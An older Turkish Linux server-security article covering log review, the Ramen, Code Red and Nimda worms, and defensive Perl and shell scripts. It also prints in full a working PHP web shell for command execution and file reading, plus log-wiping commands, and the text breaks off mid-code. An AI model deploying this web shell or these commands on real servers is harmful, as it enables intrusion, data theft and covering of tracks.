Sistemlerinizde nelerin olup bittiğinden haberdar olun.
Sisteminizi düzenli olarak kontrol ettiğinize eminsiniz. Kullanıcılarınızın günlük işlerinin aksamaması için her türlü analizi yapıyorsunuz. Logları (sistem kayıtları) aksatmadan inceliyorsunuz...
Sunucunuza ait WEB erişim kayıtlarını en ince ayrıntısına kadar değerlendiriyorsunuz. Herhangi bir kontrol dışı istekte bulunulmadığını görüyorsunuz.
[root@goldfish eregli]# tail -f /var/log/httpd/access_log
[18/Sep/2002:19:43:17 +0300] "GET /proxy/proxy.P HP HTTP/1.1" 200114 "-"
"Mozilla/5.0 X11; U; Linux i686; en-US; rv:0.9.8) Gecko/20020204"
[18/Sep/2002:19:43:34 +0300] "GET /search/ara.html HTTP/1.1" 200277 "-"
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.8) Gecko/20020204"
[18/Sep/2002:19:43:34 +0300] "GET /search/xsearch-5.2.js HTTP/1.1" 20011027
"http://web.url/search/ara.html" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.8) Gecko/20020204"
[18/Sep/2002:19:43:34 +0300] "GET /search/db.js HTTP/1.1" 20010181
"http://web.url/search/ara.html" "Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:0.9.8) Gecko/20020204"
[18/Sep/2002:19:43:34 +0300] "GET /search/xsearch.css HTTP/1.1" 404 325
"http://web.url/search/ara.html" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.8) Gecko/20020204"
[18/Sep/2002:19:43:34 +0300] "GET /gif/buton6.gif HTTP/1.1" 404 321
"http://web.url/search/ara.html" "Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:0.9.8) Gecko/20020204"
[18/Sep/2002:19:43:43 +0300] "GET /search/ara.html?keywords=kitap&and=0 HTTP/1.1"
200 277
Herşeyin yolunda olduğuna eminsiniz. İçiniz rahat.
Ve bir gün olağan kontrolleri yapmak için sisteme bağlandınız.
[root@goldfish eregli]# lastlog
**Never logged in**
Sistem kullanıcılarının hiçbirisinin sistem üzerine giriş yapmadığını gördünüz. Sistemde olağandışı durumu farkettiniz. Şaşırıp kaldınız. Sisteme kimlerin bağlandığını göremiyorsunuz. Sistem kayıtlarını (log) incelemeye çalışıyorsunuz. Fakat kayıtlar silinmiş. Bu tür olaylarla karşılaştığınız an sisteminizde yeterli güvenli ortamı sağlayamadığınızı anlarsınız. Artık olanlar olmuştur. Sisteminiz dışarı açıksa her türlü sorunla karşılaşma olasılığınız vardır. Virüsler, Trojanlar, Solucanlar, Remote-Local Exploitler, DoS ve DDoS Atakları, Sniffer ...
En büyük sorunlardan biri yerel kullanıcıların neden olabileceği sorunlardır. Sistem güvenliğini tehlikeli duruma düşürecek derecede basit şifre kullanma durumunda bunu takiben bir çok sorunuda getirir.
Örneğin; kullanıcılardan birinin şifresi giriş adı(Login) ile aynı olduğunu farkeden saldırganın sisteme sızması normaldir. Sisteminize sızan birinin arka kapı(backdoor) yaratması sonucu istediği zamanda tekrar sisteme bağlanabilir, sniffer(paket koklayıcı) ile ağda dolaşan paketler içinden şifreleri yakalayabilir, local yada remote exploitler vasıtasıyla sistemde root yetkisine sahip olabilir.
Son zamanlarda Linux sistemlerini etkileyen solucanlar adlarını sık duymaya başladı (Lion, Ramen...).
Bu tür programcıklar hatalı sistemlere bulaşarak kendilerini hızlı bir şekilde çoğaltma yeteneğine sahiptirler.
Örneğin; Lion solucanının hedefi sorunlu Linux DNS serverlarına bulaşarak sistemdeki şifreleri ele geçirmek, firewall sistemini etkisiz hale getirmek.
Ramen solucanı ise Red Hat 6.2 ve 7.0 kurulu sunucularını hedef alır. Bu solucanın özelliklerinden biri web sunucularındaki ana sayfayı 'RameN Crew—Hackers loooooooooo00ve noodles' yazısı içeren sayfayla değiştirmektir.
Solucanın yarattığı bir diğer tehlike ise, hızla yayılmak için sunucunun bantgenişliğinin büyük bir kısmını harcaması. Yani, sunucuların bağlantıları önemli ölçüde yavaşlamaktadır.
Sistemde Ramen solucanın varlığını tespit eden kod şu şekilde:
#!/usr/bin/perl
#Perl script to check if your system is infected with the Ramen Linux Worm.
#More info can be found at: http://def-con.org/ramen/
#Copyright(c) 2001 PhantasmP <PhantasmP@HWA-Security.Net>
# http://phantasmp.hwa-security.net/
#DISCLAMER: USE AT YOUR OWN RISK. I CANNOT BE HELD RESPONSABLE
# FOR ANYTHING THIS SCRIPT MAY CAUSE.
$worm = 0;
$poop = 0;
$inet = 0;
$aspi = 0;
print "nnt*********************************************n";
print "t*t Ramen Linux Worm Removalt *n";
print "t* By: PhantasmP <PhantasmP@HWA-Security.net *n";
print "t*********************************************nn";
print "Checking for directory '/usr/src/.poop': ";
if (-e "/usr/src/.poop"){
print "FOUNDn";
$worm = $worm + 1;
$poop = 1;
}
else{print "NOT FOUNDn";} print "Checking for file '/sbin/asp': ";
if (-e "/sbin/asp") {
print "FOUNDn";
$worm = $worm + 1;
$asp = 1;
} else{print "NOT FOUNDn";} print "Checking for '/etc/xinetd.d/asp': ";
if (-e "/etc/xinetd.d/asp") {
print "FOUNDn";
$worm = $worm + 1;
$inet = 1;
}
else{print "NOT FOUNDnn";} if ($worm == 3) {
print "nntIt appears your system is infected with the Ramen Wormn";
print "tYou can read the readme that came with this script forn";
print "tinformation on removing the worm, or let this script don";
print "tdo it for you.nn";
print "Would you like to remove the files now? (NOTE: You need to be running
as root) (Y/N): ";
chop($remove = <STDIN>);
if ($remove eq "Y" | "y" ){&poop;&asp;&inet;}
else{exit;}
&CleanFiles; print "nnNOTE: Reboot the system or manually kill any processesn";
print "such as synscan,start.sh, scan.sh, hackl.sh, or hackw.sh.nn"; } if ($worm > 0 & $worm < 3) {
print "nntOnly some evidence of your system being infected wasn";
print "tfound, would you like to remove the files found?n";
print "t(NOTE: You must be running as root for this)(Y/N): ";
chop($some = <STDIN>);
if ($some eq "Y" | "y") {
$!="";
if ($poop == 1) {&poop;}
if ($asp == 1) {&asp;}
if ($inet == 1) {&inet;}
&CleanFiles;
print "nnNOTE: Reboot the system or manually kill any processesn";
print "such as synscan,start.sh, scan.sh, hackl.sh, or hackw.sh.nn";
}
else{exit;} }
sleep(2);
print "nnEXITING...nn";
exit; sub poop {
print "Removing '/usr/src/.poop': ";
system("rm -r /usr/src/.poop");
if ($! > "") {
print "Could not remove '/usr/src/.poop': $!n";
}
else{print "REMOVEDn";}
return;
} sub asp {
print "Removing '/sbin/asp': ";
unlink ("/sbin/asp");
if ($! > "") {
print "Could not remove '/sbin/asp': $!n";
}
else{print "REMOVEDn";}
return;
} sub inet {
print "Removing '/etc/xinetd.d/asp': ";
unlink ("/etc/xinetd.d/asp");
if ($! > "") {
print "Could not remove '/etc/xinetd.d/asp': $!n";
}
else{print "REMOVEDn";}
return;
} sub sysint {
if (-e "/etc/rc.d/rc.sysinit"){
print "Creating backup to '/etc/rc.d/rc.sysinit.bak': ";
system("cp /etc/rc.d/rc.sysinit /etc/rc.d/rc.sysinit.bak");
print "DONEn";
open(IN,"</etc/rc.d/rc.sysinit");
if ($! > ""){print "Could not open '/etc/rc.d/rc.sysinit': $!n";}
else{&CleanSysint;}
}
else{print "nCould not find '/etc/rc.d/rc.sysinit'n";}
return;
} sub conf {
if (-e "/etc/inetd.conf") {
print "nnCreating backup to '/etc/inetd.conf.bak': ";
system("cp /etc/inetd.conf /etc/inetd.conf.bak");
print "DONEn";
open(IN,"</etc/inetd.conf");
if ($! > ""){print "Could not open '/etc/inetd.conf': $!n";}
else{&CleanInet;}
}
else{print "nCould not find '/etc/inetd.conf'n";}
return;
} sub CleanFiles { print "nntYou will now need to remove any reference to any filen";
print "tin /etc/src/.poop from /etc/rc.d/rc.sysinit and anyn";
print "tlines in /etc/inetd.conf referring to /sbin/aspn";
print "tin /etc/inetd.confnn";
print "Would you like to remove the files now?n";
print "NOTE: Backup copies of both files will be maden";
print "(NOTE: You need to be running as root) (Y/N): ";
chop($clear = <STDIN>);
if ($clear eq "Y" || "y" ) {
&sysint;
&conf;
}
else{exit;}
return;
} sub CleanSysint {
@input = <IN>;
close(IN);
print "Cleaning /etc/rc.d/rc.sysinit: ";
open(OUT,">/etc/rc.d/rc.sysinit");
sleep(2); foreach $input(@input){
if ($input =~ "/etc/src/.poop") {
$input = "";
print OUT "$input";
}
else{print OUT "$input";}
}
print "DONEn";
close(OUT);
sleep(2);
return;
} sub CleanInet {
@input = <IN>;
close(IN);
print "Cleaning /etc/inetd.conf: "; open(OUT,">/etc/inetd.conf");
sleep(2);
foreach $input(@input){
if ($input =~ "/sbin/asp") {
$input = "";
print OUT "$input";
}
else{print OUT "$input";}
}
print "DONEn";
close(OUT);
return;
}
Sistemdeki saldırgan yetkileri eline almışsa, izini kaybettirmek için başvuracağı yollardan biriside sistem kayıtlarını silmektir.
Örneğin:
cat /dev/null > messages
cat /dev/null > wtmp
Bazen kullanıcılarınızın sistemde ne tür komutlar kullandığını merak edebilirsiniz. Kullanıcı cat /etc/passwd komutuyla şifre dosyasına bakabilir, su - komutunu kullanabilir. Aşağıdaki küçük betik kullanıcı dizinindeki .bash_history dosyasını kontrol ederek belirtiğiniz komutu kullanıcının kullanıp kullanmadığını anlayabilirsiniz.
Örneğin:
cat /etc/passwd komutunu kullanan kullanıcıları görmek için,
Enter command to search for below:
cat /etc/passwd
Scanning user cilek
----------------------
Scanning user class
----------------------
Command found in /home/class/.bash_history <------ Bu kullanıcı meraklı
Scanning user departman.a
----------------------
Scanning user departman.b
----------------------
Scanning user erdemir
----------------------
Command found in /home/erdemir/.bash_history <------ Buda fazla meraklı
Kod:
#!/usr/bin/perl
system("clear");print "UserCheck by bansh33 [www.r00tabega.com]nn";
@userlist = `ls -1 /home`;
print "Enter command to search for below:n";
$command = <STDIN>;
chomp($command);
# Begin checking history file
foreach $user (@userlist) {
chomp($user);
print "nnScanning user $usern";
print "----------------------n";
open (hist, "/home/$user/.bash_history");
@hist = <hist>;
foreach $hist (@hist) {
if ($hist =~ "$command") {
print "Command found in /home/$user/.bash_historyn";
}
}
open (history, "/home/$user/.history");
@history = <history>;
foreach $history (@history) {
if ($hist =~ "$command") {
print "Command found in /home/$user/.historyn";
}
}
}
Exploitler yazılım hatalarını istismar ederek normal kullanıcının root hakkına sahip olmasına olanak tanırlar.
Bu nedenle sistemdeki +s durumundaki yazılımları belirlemekte yarar vardır. Güvenlik sitelerini takip ederek programların yamalarını(patch) yüklemek yararınızadır. Sistemdeki +s durumundaki yazılımları bulmak için küçük bir kod:
/* tara.sh */
#!/bin/sh
find /bin -user root -perm +a=s > suid.txt
find /sbin/ -user root -perm +a=s >> suid.txt
find /usr/bin -user root -perm +a=s >> suid.txt
find /usr/sbin -user root -perm +a=s >> suid.txt
find /usr/share -user root -perm +a=s >> suid.txt
find /usr/games -user root -perm +a=s >> suid.txt
find /etc -user root -perm +a=s >> suid.txt
find /var -user root -perm +a=s >> suid.txt
find /usr/X11R6/bin -user root -perm +a=s >> suid.txt
find /usr/bin/X11 -user root -perm +a=s >> suid.txt
/* EOF */
[root@goldfish eregli]# ./tara.sh
[root@goldfish eregli]# cat suid.txt
/bin/ping
/bin/mount
/bin/umount
/bin/su
/bin/linuxconf
/usr/bin/write
/usr/bin/passwd
/usr/sbin/ping6
/usr/sbin/traceroute6
/usr/sbin/usernetctl
/usr/X11R6/bin/Xwrapper
WEB sunucunuza ait logları düzenli şekilde incelerseniz muhakkak sitenize karşılık .cgi taraması yapıldığını görmeniz mümkündür (Meraklı insanlar çoktur (: ).
#!/usr/bin/perl
# Author: Tyler L. Longren
apache access log
use strict;
use Term::ANSIColor;
use Getopt::Std;
getopts("lphnc", my %options);
sub usage {
print "Usage: ./worms.pl [-c] [-n] [-p] [-l] [-h]
-c : Scan for code red attempts
-h : Print this help message
-l : Log total attempts and date to .nimda.log or .codered.log
-n : Scan for nimda attempts
-p : Plain text, no colornn";
}
my $log_file = "/var/log/httpd/access_log";
my $temp_file = "/tmp/worms.tmp";
sub codered {
system("clear");
open (LOGFILE, "$log_file") || die ("Could not open $log_file: $!");
my @array;
while (<LOGFILE>) {
chomp;
push (@array, $_)
if m/default.ida/i;
print "Reading logs...r";
}
close (LOGFILE);
open (TEMPFILE, ">>$temp_file") || die ("Could not open $temp_file: $!");
my $i=0;
while ($i <= "$#array") {
print TEMPFILE "$array[$i]n";
$i++;
}
close (TEMPFILE);
open (TEMPFILE, $temp_file) || die ("Could not open $temp_file: $!");
my( $last_host ) = ( $array[$#array] =~ /([d.]+)s/ );
my @attempts;
while (<TEMPFILE>) {
push (@attempts, $_)
if /Q$last_hostE/;
print "Counting attempts from $last_host...r";
}
close (TEMPFILE);
# Begin getting the version of Code Red
my $signature = "$array[$#array]";
$signature = substr($signature, 67, 3);
my $version;
if ($signature eq "NNN") {
$version = "Code Red I";
}
elsif ($signature eq "XXX") {
$version = "Code Red II";
}
else {
$version = "Code Red (Unknown)";
}
# End getting the version of Code Red
system("clear");
print "Scan Type: Code Red";
print "nVersion: $version";
print "nCode Red attempts: ";
my $total_attempts = scalar(@array);
if (defined $options{p}) {
print "$total_attempts";
}
else {
print color("bold red"), "$total_attempts", color("reset");
}
my $host_attempts = scalar(@attempts);
print "nLast Host: $last_host";
print "nHost attempts: $host_attempts";
print "nLogfile: $log_filenHere's the most recent Code Red attempt:n---
------------------------------------------------n$array[$#array]n---------------------------------------------------n";
if (defined $options{l}) {
my $date = `date --date 'today' '+%m.%d.%Y %T'`;
chomp $date;
open (OUTFILE, ">> .codered.log") || die ("Could not open
.codered.log: $!");
print OUTFILE "$total_attempts - $daten";
close (OUTFILE);
}
`rm $temp_file`;
}
sub nimda {
system("clear");
open (LOGFILE, "$log_file") || die ("Could not open $log_file: $!");
my @array;
while (<LOGFILE>) {
chomp;
push (@array, $_)
if m/c+dir/i;
print "Reading logs...r";
}
close (LOGFILE);
open (TEMPFILE, ">>$temp_file") || die ("Could not open $temp_file: $!");
my $i=0;
while ($i <= "$#array") {
print TEMPFILE "$array[$i]n";
$i++;
}
close (TEMPFILE);
open (TEMPFILE, $temp_file) || die ("Could not open $temp_file: $!");
my( $last_host ) = ( $array[$#array] =~ /([d.]+)s/ );
my @attempts;
while (<TEMPFILE>) {
push (@attempts, $_)
if /Q$last_hostE/;
print "Counting attempts from $last_host...r";
}
close (TEMPFILE);
system("clear");
print "Scan Type: Nimda";
print "nNimda attempts: ";
my $total_attempts = scalar(@array);
if (defined $options{p}) {
print "$total_attempts";
}
else {
print color("bold red"), "$total_attempts", color("reset");
}
if (defined $options{l}) {
print " (logged)";
}
my $host_attempts = scalar(@attempts);
print "nLast Host: $last_host";
print "nHost attempts: $host_attempts";
print "nLogfile: $log_file";
print "nHere's the most recent Nimda attempt:n---------------------------------------------------
n$array[$#array]n---------------------------------------------------n";
if (defined $options{l}) {
my $date = `date --date 'today' '+%m.%d.%Y %T'`;
chomp $date;
open (OUTFILE, ">> .nimda.log") || die ("Could not open .nimda.log:
$!");
print OUTFILE "$total_attempts - $daten";
close (OUTFILE);
}
`rm $temp_file`;
}
if (defined $options{c}) {
codered;
exit;
}
elsif (defined $options{n}) {
nimda;
exit;
}
else {
usage;
exit;
}
Yukarıdaki kodun amacı Apache sunucusundaki /var/log/httpd/access_log kayıt dosyasını kontrol ederek
sunucuya Code Red ve Nimda taramasının yapılıp yapılmadığını, yapıldıysa teşebbüste bulunan IP adresini size bildirmektedir.
Kullanımı şu şekildedir:
[cilek@localhost cilek]$ ] perl worms.pl -n
Scan Type: Nimda
Nimda attempts: 2
Last Host: XXX.xxx.XXX.xxx
Host attempts: 2
Logfile: /var/log/httpd/access_log
Here's the most recent Nimda attempt:
---------------------------------------------------
XXX.xxx.XXX.xxx - - [19/Sep/2002:01:44:30 +0300] "GET /scripts/root.exe?/c+dir
HTTP/1.1" 404 323 "-"
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.8) Gecko/20020204"
---------------------------------------------------
Sunucunuzda barınan web sayfalarının sisteminize karşı bir zararı olabilir mi?
Kullanıcılarınızdan birinin web sitesi, sisteminize upload imkanı veren bir upload.P HP upload.cgi upload.html ismine benzer sayfalar bulunuyorsa kötü niyetli kişi bunlardan yararlanarak sisteminize kendi istediği dosyayı upload edebilir.
Aşağıdaki örnek .P HP dosyasına benzer dosyayı sisteminize upload ederse, web üzerinden sunucunuzda gezinebilir. İstediği dosyaları web browserda görebilir, hatta istediği dosyalarda değişiklik yapma ihtimalide vardır. Görüldüğü gibi sunucunuzda bulunan web dosyalarına dikkat etmek gerekmektedir.
<?P HP
/* P HP exploit lab v1.0
* trying to browse, read, execute, mysqlread...
* using: P HP
* author:
* dodo
*/
// mysql config: [this is for reading files through mysql]
$mysql_use = "no"; //"yes"
$mhost = "";
$muser = "";
$mpass = "";
$mdb = "";
// default mysql_read files [seperated by: ':']:
$mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
$mysql_files = explode(':', $mysql_files_str);
if ($action=="misc") {
if ($do=="P HPinfo") {
P HPinfo();
exit;
}
}
?>
<html>
<head>
<style>
BODY { font-family: verdana; color: cccccc; }
INPUT { background:333333; color:CCCCCC; font-family:Verdana; font-size:9pt;}
TEXTAREA { background:333333; color:CCCCCC; font-family:Verdana; font-size:9pt;}
SELECT { background:333333; color:CCCCCC; font-family:Verdana; font-size:9pt;}
</style>
<script>
function openw(url, width, height){
window.open(url, "HTTP_exploit_lab", "alwaysRaised=1,dependent=1,location=0,
menubar=0,personalbar=0,scrollbars=1,status=0,toolbar=0,height=+height+,width=+width+,resizable=0");
}
</script>
<title>HTTP exploit lab by dodo</title>
</head>
<body <? if ($method!="show_source") { echo "bgcolor="#000000""; } ?> text="#CCCCCC"
link="#CCCCCC" vlink="#CCCCCC" alink="#CCCCCC">
<?
if (!$P HP_SELF) { $P HP_SELF="index.P HP"; /* no P HP_SELF on default freeBSD P HP 4.2.1??? */ }
if ($action=="check") {
echo "";
if ($mysql_use!="no") {
$P HPcheck = new P HP_check($mhost, $muser, $mpass, $mdb);
} else { $P HPcheck = new P HP_check(); }
echo "";
}
if ($action=="mysqlread") {
// $file
if (!$file) { $file = "/etc/passwd"; }
?>
<script>
var files = new Array();
<? for($i=0;count($mysql_files)>$i;$i++) { ?>
files[files.length] = "<?=$mysql_files[$i]?>";
<? } ?>
function setFile(bla) {
for (var i=0;i < files.length;i++) {
if (files[i]==bla.value) {
document.mysqlload.file.value = files[i];
}
}
}
</script>
<form name="mysqlload" action="<?=$P HP_SELF?>?action=mysqlread" method="POST">
<select name="deffile" onChange="setFile(this)">
<? for ($i=0;count($mysql_files)>$i;$i++) { ?>
<option value="<?=$mysql_files[$i]?>"<? if ($file==$mysql_files[$i]) { echo "selected"; } ?>><?
$bla = explode('/', $mysql_files[$i]);
$p = count($bla)-1;
echo $bla[$p];
?></option>
<? } ?>
</select>
<input type="text" name="file" value="<?=$file?>" size=80>
<input type="submit" name="go" value="go"> <font size=2>[ <a href="<?=$P HP_SELF?>
?action=mysqlread&mass=loadmass">load all defaults</a> ]</font>
</form>
<?
echo "";
// regular LOAD DATA LOCAL INFILE
if (!$mass) {
$sql = array (
"USE $mdb",
'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
"LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS "
. "TERMINATED BY '__THIS_NEVER_HAPPENS__' "
. "ESCAPED BY '' "
. "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
"SELECT a FROM $tbl LIMIT 1"
);
mysql_connect ($mhost, $muser, $mpass);
foreach ($sql as $statement) {
$q = mysql_query ($statement);
if ($q == false) die (
"FAILED: " . $statement . "n" .
"REASON: " . mysql_error () . "n"
);
if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
echo htmlspecialchars($r[0]);
mysql_free_result ($q);
}
}
if ($mass) {
$file = "/etc/passwd";
$sql = array ();
$cp = mysql_connect ($mhost, $muser, $mpass);
mysql_select_db($mdb);
$tbl = "xploit";
mysql_query("CREATE TABLE `xploit` (`xploit` LONGBLOB NOT NULL)");
for($i=0;count($mysql_files)>$i;$i++) {
mysql_query("LOAD DATA LOCAL INFILE '".$mysql_files[$i]."' INTO TABLE ".$tbl." FIELDS TERMINATED BY '__
THIS_NEVER_HAPPENS__' ESCAPED BY '' LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'");
}
$q = mysql_query("SELECT * FROM ".$tbl."");
while ($arr = mysql_fetch_array($q)) {
echo $arr[0]."n";
}
mysql_query("DELETE FROM ".$tbl."");
mysql_query("DROP TABLE ".$tbl."");
}
echo "";
}
if ($action=="read") {
if (!$method) { $method="file"; }
if (!$file) { $file = "/etc/passwd"; }
?>
<form name="form1" method="post" action="<?= $P HP_SELF ?>?action=read">
<select name="method">
<option value="file" <? if ($method=="file") { echo "selected"; } ?>>file</option>
<option value="fread" <? if ($method=="fread") { echo "selected"; } ?>>fread</option>
<option value="show_source" <? if ($method=="show_source") { echo "selected"; } ?>>show_source</option>
<option value="readfile" <? if ($method=="readfile") { echo "selected"; } ?>>readfile</option>
</select><br>
<input type="text" name="file" size="40" value="<?=$file?>">
<input type="submit" name="Submit" value="<?=$method?>">
<br>
</form><?
if ($method=="file") {
if (@file($file)) {
$filer = file($file);
echo "";
foreach ($filer as $a) { echo $a; }
echo "";
} else {
echo "<script> alert("unable to read file: $file using: file"); </script>";
}
}
if ($method=="fread") {
if (@fopen($file, 'r')) {
$fp = fopen($file, 'r');
$string = fread($fp, filesize($file));
echo "";
echo $string;
echo "";
} else {
echo "<script> alert("unable to read file: $file using: fread"); </script>";
}
}
if ($method=="show_source") {
if (show_source($file)) {
//echo "";
//echo show_source($file);
//echo "";
} else {
echo "<script> alert("unable to read file: $file using: show_source"); </script>";
}
}
if ($method=="readfile") {
echo "";
if (readfile($file)) {
//echo "";
//echo readfile($file);
echo "";
} else {
echo "";
echo "<script> alert("unable to read file: $file using: readfile"); </script>";
}
}
}
if ($action=="cmd") { ?>
<form name="form1" method="post" action="<?= $P HP_SELF ?>?action=cmd">
<select name="method">
<option value="system" <? if ($method=="system") { echo "selected"; } ?>>system</option>
<option value="passthru" <? if ($method=="passthru") { echo "selected"; } ?>>passthru</option>
<option value="exec" <? if ($method=="exec") { echo "selected"; } ?>>exec</option>
<option value="shell_exec" <? if ($method=="shell_exec") { echo "selected"; } ?>>shell_exec</option>
<option value="popen" <? if ($method=="popen") { echo "selected"; } ?>>popen</option>
</select><br>
<input type="text" name="cmd" size="40" value="<?= $cmd; ?>">
<input type="submit" name="Submit" value="<?=$method?>">
<br>
</form>
<?
if (!$method) { $method="system"; }
if (!$cmd) { $cmd = "ls /"; }
echo "<br>";
if ($method=="system") {
system("$cmd 2>&1");
}
if ($method=="passthru") {
passthru("$cmd 2>&1");
}
if ($method=="exec") {
while ($string = exec("$cmd 2>&1")) {
echo $string;
}
}
if ($method=="shell_exec") {
$string = shell_exec("$cmd 2>&1");
echo $string;
}
if ($method=="popen") {
$pp = popen('$cmd 2>&1', 'r');
$read = fread($pp, 2096);
echo $read;
pclose($pp);
}
echo "";
}
if ($action=="cmdbrowse") {
//--------------------------------------------------- START CMD BROWSING
if ($cat) {
echo "";
echo "n<a href="$P HP_SELF?action=cmdbrowse&dir=$olddir">go back to: $olddir</a>nn";
exec("cat $cat 2>&1", $arr);
foreach ($arr as $ar) {
echo htmlspecialchars($ar)."n";
}
exit;
}
if ($dir=="dirup") {
$dir_current = $olddir;
$needle = strrpos($dir_current, "/");
if ($needle==0) {
$newdir = "/";
} else {
$newdir = substr($dir_current, 0, $needle);
}
$dir = $newdir;
}
if (!$dir) {
$dir = getcwd();
}
$string = exec("ls -al $dir", $array);
//print_r(array_values($array));
echo "";
if ($dir!="/") {
echo "n[$dir] n<a href="$P HP_SELF?action=cmdbrowse&dir=dirup&olddir=$dir">dirup</a>nn";
} else {
$dir = "";
}
foreach($array as $rowi) {
$row = explode(' ', $rowi);
//print_r(array_values($row));
$c = count($row)-1;
if ($row[$c]!=".." && $row[$c]!="." && isset($first)) {
$link = false;
if (!strstr($row[0], 'l')) {
$c = count($row)-1;
$file = "<a href="$P HP_SELF?action=cmdbrowse&dir=$dir/".$row[$c]."">".$row[$c]."</a>";
} else {
$c = count($row)-3;
$file = "<a href="$P HP_SELF?action=cmdbrowse&dir=$dir/".$row[$c]."">".$row[$c]."</a>";
$link = true;
}
if (!strstr($row[0], 'l') && !strstr($row[0], 'd')) {
$c = count($row)-1;
$file = "<a href="$P HP_SELF?action=cmdbrowse&cat=$dir/".$row[$c]."&olddir=$dir">".$row[$c]."</a>";
}
//echo $row[0]." ".$row[1]." ".$row[2]." ".$row[3]." ".$row[4]." ".$row[5]." ".$row[6]." ".$row[7]." ".$row[8]." ".$row[9]." ".$row[10]." ".$file." ".$row[12]." ".$row[13]."n";
if ($link) {
$point = count($row)-3;
} else {
$point = count($row)-1;
}
for($i=0; $point > $i; $i++) {
echo $row[$i]." ";
}
echo $file."n";
}
$first = true;
}
//--------------------------------------------------- END CMD BROWSING
}
if ($action=="browse") {
//--------------------------------------------------- START BROWSING
/*
* got this from an old script of mine
* param: [$dir]
*/
function error($msg) {
header("Location: $P HP_SELF?bash=$msg&error=$msg");
}
if (isset($error)) {
echo "<script> alert("$error"); </script>";
}
if (!$dir) {
$dir = getcwd();
}
function getpath($dir) {
echo "<font size=2><a href=$P HP_SELF?action=browse&dir=/>/</a></font> ";
$path = explode('/', $dir);
if ($dir != "/") {
for ($i=0; count($path) > $i; $i++) {
if ($i != 0) {
echo "<font size=2><a href=$P HP_SELF?action=browse&dir=";
for ($o=0; ($i+1) > $o; $o++) {
echo "$path[$o]";
if (($i) !=$o) {
echo "/";
}
}
echo ">$path[$i]</a>/</font>";
}
}
}
}
function printfiles($files) {
for($i=0;count($files)>$i;$i++) {
$files_sm = explode('||', $files[$i]);
if ($files_sm[0]!="." && $files_sm[0]!="..") {
$perms = explode('|', $files_sm[1]);
if ($perms[0]==1 && $perms[1]==1) { $color = "green"; } else {
if ($perms[0]==1) { $color = "yellow"; } else { $color = "red"; }
}
if ($files_sm[2]=="1") { echo "l <font color="$color">"; } else { echo "- <font color="$color">"; }
if ($perms[0]==1) { echo "r"; } else { echo " "; }
if ($perms[1]==1) { echo "w"; } else { echo " "; }
if ($perms[2]==1) { echo "x"; } else { echo " "; }
echo "</font> $files_sm[0]n";
}
}
}
function printdirs($files) {
global $dir;
echo "<a href="$P HP_SELF?action=browse&dir=dirup&olddir=$dir">..</a>n";
for($i=0;count($files)>$i;$i++) {
$files_sm = explode('||', $files[$i]);
if ($files_sm[0]!="." && $files_sm[0]!="..") {
$perms = explode('|', $files_sm[1]);
if ($perms[0]==1 && $perms[1]==1) { $color = "green"; } else {
if ($perms[0]==1) { $color = "yellow"; } else { $color = "red"; }
}
if ($files_sm[2]=="1") { echo "l <font color="$color">"; } else { echo "d <font color="$color">"; }
if ($perms[0]==1) { echo "r"; } else { echo " "; }
if ($perms[1]==1) { echo "w"; } else { echo " "; }
if ($perms[2]==1) { echo "x"; } else { echo " "; }
echo "</font> <a href="$P HP_SELF?action=browse&dir=$dir/".$files_sm[0]."">$files_sm[0]</a>n";
}
}
}
if ($dir=="dirup") {
$dir_current = $olddir;
$needle = strrpos($dir_current, "/");
if ($needle==0) {
$newdir = "/";
} else {
$newdir = substr($dir_current, 0, $needle);
}
$dir = $newdir;
} else {
$dir = $dir;
}
?>
<form name="form1" method="post" action="<?= $P HP_SELF ?>?action=browse">
<input type="text" name="dir" size="40" value="<?= $dir; ?>">
<input type="submit" name="Submit" value="ls /dir">
<br>
</form>
<?
if ($dir) {
if (!is_readable($dir)) { $skip = true; }
if (!$skip) {
$dp = opendir($dir);
$files = array(); $dirs = array();
while($f=readdir($dp)) {
// $f||r|w|x||l
$oor = $f;
if (is_readable("$dir/$oor")) { $f .= "||1"; } else { $f .= "||0"; }
if (is_writable("$dir/$oor")) { $f .= "|1"; } else { $f .= "|0"; }
if (is_executable("$dir/$oor")) { $f .= "|1"; } else { $f .= "|0"; }
if (is_link("$dir/$oor")) { $f .= "||1"; } else { $f .= "||0"; }
if(is_dir("$dir/$oor")) {
$dirs[] = $f;
} else {
$files[] = $f;
}
}
getpath($dir);
echo "<br><br>";
printdirs($dirs);
printfiles($files);
} else { echo " <script> alert("readdir permission denied");
document.location = "$P HP_SELF?action=browse&dir=dirup&olddir=$dir";
</script>"; }
}
}
//--------------------------------------------------- END BROWSING
if (!$action) {
?><p align="right"><font size=2><a href="<?=$P HP_SELF?>?action=misc&do=P HPinfo">P HPinfo</a></font></p><?
echo "";
if ($mysql_use!="no") {
$P HPcheck = new P HP_check_silent($mhost, $muser, $mpass, $mdb);
} else { $P HPcheck = new P HP_check_silent(); }
echo "";
?><br><br>
<font size=2><a href="javascript:openw('<?=$P HP_SELF?>?action=check', 300, 500)">SECURITY CHECK</a></font> <font color="green" size=2>[executable] </font>
<br>
<!-- system check -->
<?
//echo $P HPcheck->cmd_state;
//echo $P HPcheck->cmd_method;
if ($P HPcheck->cmd_method) { $cmd_method = $P HPcheck->cmd_method; } else { $cmd_method = "system"; } ?>
<font size=2><a href="javascript:openw('<?=$P HP_SELF?>?action=cmd&method=<?=$cmd_method?>', 300, 500)">EXEC COMMANDS THRU P HP</a></font>
<?
if ($P HPcheck->cmd_method) {
echo "<font color="green" size=2>[executable] "; } else { echo "<font color="red" size=2>[not executable]"; }
?></font>
<br>
<!-- system check -->
<?
//echo $P HPcheck->cmd_state;
//echo $P HPcheck->cmd_method;
?>
<font size=2><a href="<?=$P HP_SELF?>?action=cmdbrowse">EXEC BROWSE THRU P HP</a></font>
<?
if ($P HPcheck->cmd_method) {
